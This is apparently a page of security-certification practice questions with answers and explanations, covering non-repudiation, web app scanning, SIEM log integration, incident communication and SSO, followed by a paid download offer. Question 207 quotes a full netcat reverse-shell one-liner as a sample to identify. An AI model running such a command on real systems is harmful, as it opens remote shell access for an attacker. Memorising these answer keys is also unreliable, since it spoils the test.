An analyst is designing a message system for a bank. The analyst wants to include a feature that allows the recipient of a message to prove to a third party that the message came from the sender.
Which of the following information security goals is the analyst most likely trying to achieve?
A. Non-repudiation
B. Authentication
C. Authorization
D. Integrity
Show Answer
Correct Answer: A
Explanation: The requirement is that the recipient can prove to a third party that the message came from the sender. This is the definition of non-repudiation, which ensures a sender cannot deny having sent a message, typically through mechanisms like digital signatures. Authentication only verifies identity at the time of access, integrity ensures the message was not altered, and authorization concerns permissions.
Question 207
A security analyst detected the following suspicious activity:
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f
Which of the following most likely describes the activity?
A. Network pivoting
B. Host scanning
C. Privilege escalation
D. Reverse shell
Show Answer
Correct Answer: D
Explanation: The command creates a named pipe and uses /bin/sh -i piped through netcat to connect back to a remote IP and port, providing an interactive shell to the attacker. This is a classic reverse shell technique, not scanning, pivoting, or privilege escalation.
Question 208
A development team is preparing to roll out a beta version of a web application and wants to quickly test for vulnerabilities, including SQL injection, path traversal, and cross-site scripting. Which of the following tools would the security team most likely recommend to perform this test?
A. Hashcat
B. OpenVAS
C. OWASP ZAP
D. Nmap
Show Answer
Correct Answer: C
Explanation: OWASP ZAP is specifically designed for web application security testing and can quickly scan for common web vulnerabilities such as SQL injection, cross-site scripting (XSS), and path traversal. Hashcat is used for password cracking, OpenVAS focuses on general infrastructure vulnerability scanning, and Nmap is primarily a network discovery and port scanning tool rather than a dedicated web app vulnerability scanner.
Question 209
A security analyst would like to integrate two different SaaS-based security toots so that one tool can notify the other in the event a threat is detected. Which of the following should the analyst utilize to best accomplish this goal?
A. SMB share
B. API endpoint
C. SMTP notification
D. SNMP trap
Show Answer
Correct Answer: B
Explanation: Integrating two SaaS-based security tools so that one can automatically notify the other requires a programmatic, application-to-application communication method. An API endpoint is designed specifically for this purpose, enabling real-time, secure, and automated data exchange between services. SMB shares are for file sharing, SMTP notifications are limited to email alerts without direct integration, and SNMP traps are mainly used for network device monitoring rather than SaaS-to-SaaS integration.
Question 210
An analyst is suddenly unable to enrich data from the firewall. However, the other open intelligence feeds continue to work. Which of the following is the most likely reason in the firewall feed stopped working?
A. The firewall service account was locked out.
B. The firewall was using a paid feed.
C. The firewall certificate expired.
D. The firewall failed open.
Show Answer
Correct Answer: C
Explanation: The issue affects only the firewall feed while other intelligence feeds continue to function, indicating a problem specific to secure communication with the firewall source. An expired certificate would prevent TLS-authenticated connections and stop data enrichment from that feed without impacting others. Service account lockout is possible but less universally applicable, and using a paid feed or failing open would not inherently stop enrichment.
Question 211
After an incident, a security analyst needs to perform a forensic analysis to report complete information to a company stakeholder. Which of the following is most likely the goal of the forensic analysis in this case?
A. Provide a full picture of the existing risks.
B. Notify law enforcement of the incident.
C. Further contain the incident.
D. Determine root cause information.
Show Answer
Correct Answer: D
Explanation: The primary goal of a forensic analysis after an incident is to determine exactly what happened and why. This includes identifying the attack vector, timeline, and underlying cause of the incident so stakeholders can understand impact, support remediation, and prevent recurrence. The other options relate to risk assessment, legal notification, or containment, which are not the main purpose of forensic analysis.
Question 212
An organization has a critical financial application hosted online that does not allow event logging to send to the corporate SIEM. Which of the following is the best option for the security analyst to configure to improve the efficiency of security operations?
A. Configure a new SIEM specific to the management of the hosted environment.
B. Subscribe to a threat feed related to the vendor's application.
C. Use a vendor-provided API to automate pulling the logs in real time.
D. Download and manually import the logs outside of business hours.
Show Answer
Correct Answer: C
Explanation: Using a vendor-provided API to pull logs in real time is the most efficient and effective option when direct log forwarding to the corporate SIEM is not supported. This approach enables near–real-time visibility, supports automation, and allows integration into existing security monitoring workflows without creating separate tooling or relying on manual processes. The other options either add unnecessary complexity, provide indirect value, or are operationally inefficient.
Question 213
Which of the following would most likely be used to update a dashboard that integrates with multiple vendor tools?
A. Webhooks
B. Extensible Markup Language
C. Threat feed combination
D. JavaScript Object Notation
Show Answer
Correct Answer: A
Explanation: Dashboards that integrate with multiple vendor tools typically need a mechanism to receive event-driven updates from those tools. Webhooks are designed for this purpose, allowing external systems to push real-time or near-real-time data to the dashboard when events occur. XML and JSON are merely data formats, not update mechanisms, and “threat feed combination” is a concept rather than an integration or update method.
Question 214
Which of the following best explains the importance of communicating with staff regarding the official public communication plan related to incidents impacting the organization?
A. To establish what information is allowed to be released by designated employees
B. To designate an external public relations firm to represent the organization
C. To ensure that all news media outlets are informed at the same lime
D. To define how each employee will be contacted after an event occurs
Show Answer
Correct Answer: A
Explanation: Communicating the official public communication plan to staff ensures everyone understands who is authorized to speak and what information may be released during an incident. This prevents unauthorized or inconsistent messaging, reduces legal and reputational risk, and maintains accurate, controlled communication with the public and media.
Question 215
Which of the following would eliminate the need for different passwords for a variety of internal applications?
A. CASB
B. SSO
C. PAM
D. MFA
Show Answer
Correct Answer: B
Explanation: Single Sign-On (SSO) allows a user to authenticate once and then access multiple internal applications without re-entering credentials. This removes the need to maintain and remember different passwords for each application, unlike CASB, PAM, or MFA which serve different security purposes.
$19
Get all 528 questions with detailed answers and explanations
Instant download HTML + PDF delivered the moment payment clears.
Secure Stripe checkout we never see or store your card details.
7-day refund if files are defective see our refund policy.